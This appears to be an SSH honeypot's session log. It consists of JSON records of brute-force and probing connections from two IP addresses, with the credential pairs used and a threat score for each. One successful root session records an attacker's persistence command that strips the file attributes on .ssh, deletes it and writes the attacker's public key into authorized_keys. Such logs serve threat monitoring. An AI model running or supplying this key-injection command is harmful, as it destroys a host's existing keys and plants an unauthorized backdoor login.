Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: ad8f0998f703

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 11.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ad8f0998f703",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:31:50.008445Z",
  "end_time": "2026-07-28T15:32:01.579194Z",
  "duration": "11.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "bhu8*UHB"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

120.87.99.202

2026-07-28 15:29:54.119465 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 33717407ed05

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "33717407ed05",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:29:54.119465Z",
  "end_time": "2026-07-28T15:31:54.128161Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:27:58.433353 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d92ed6f3ca99

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "d92ed6f3ca99",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:27:58.433353Z",
  "end_time": "2026-07-28T15:29:58.441935Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:26:03.545617 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c1e453e5a2c3

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "c1e453e5a2c3",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:26:03.545617Z",
  "end_time": "2026-07-28T15:28:03.554951Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:24:09.805349 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5065f6a03dec

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5065f6a03dec",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:24:09.805349Z",
  "end_time": "2026-07-28T15:26:09.816653Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:22:43.210110 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: camilla

Record ID: e9d65d28da5f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e9d65d28da5f",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:22:43.210110Z",
  "end_time": "2026-07-28T15:22:45.525752Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "camilla",
      "pass": "camilla"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

176.53.159.196

2026-07-28 15:21:08.235840 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 861eb348c3af

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "861eb348c3af",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:21:08.235840Z",
  "end_time": "2026-07-28T15:21:09.401268Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:20:51.454889 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9d4a8c67874c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9d4a8c67874c",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:20:51.454889Z",
  "end_time": "2026-07-28T15:22:51.465573Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:18:55.791204 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a5e56f15808f

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a5e56f15808f",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:18:55.791204Z",
  "end_time": "2026-07-28T15:20:55.799860Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:16:44.541007 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e9e0c7ebd911

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "e9e0c7ebd911",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:16:44.541007Z",
  "end_time": "2026-07-28T15:18:44.645809Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:14:46.140640 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 24c90c256925

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "24c90c256925",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:14:46.140640Z",
  "end_time": "2026-07-28T15:16:46.147177Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:13:10.850076 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 03696fb4f63e

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "03696fb4f63e",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:13:10.850076Z",
  "end_time": "2026-07-28T15:15:10.878991Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:11:11.511288 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 245250e70d36

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "245250e70d36",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:11:11.511288Z",
  "end_time": "2026-07-28T15:13:11.516259Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-28 15:11:10.577074 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: aafa6e06f64a

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "aafa6e06f64a",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:11:10.577074Z",
  "end_time": "2026-07-28T15:11:11.743101Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:09:12.322231 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5bdc9186a12c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5bdc9186a12c",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:09:12.322231Z",
  "end_time": "2026-07-28T15:11:12.327253Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:07:13.636936 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7207711f30a0

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7207711f30a0",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:07:13.636936Z",
  "end_time": "2026-07-28T15:09:13.642946Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:05:11.827687 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fa7ce349a470

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "fa7ce349a470",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:05:11.827687Z",
  "end_time": "2026-07-28T15:07:11.856050Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:03:12.967590 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 825c6a7109af

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "825c6a7109af",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:03:12.967590Z",
  "end_time": "2026-07-28T15:05:12.972839Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:01:14.021725 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 312b5e696713

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "312b5e696713",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:01:14.021725Z",
  "end_time": "2026-07-28T15:03:14.027201Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}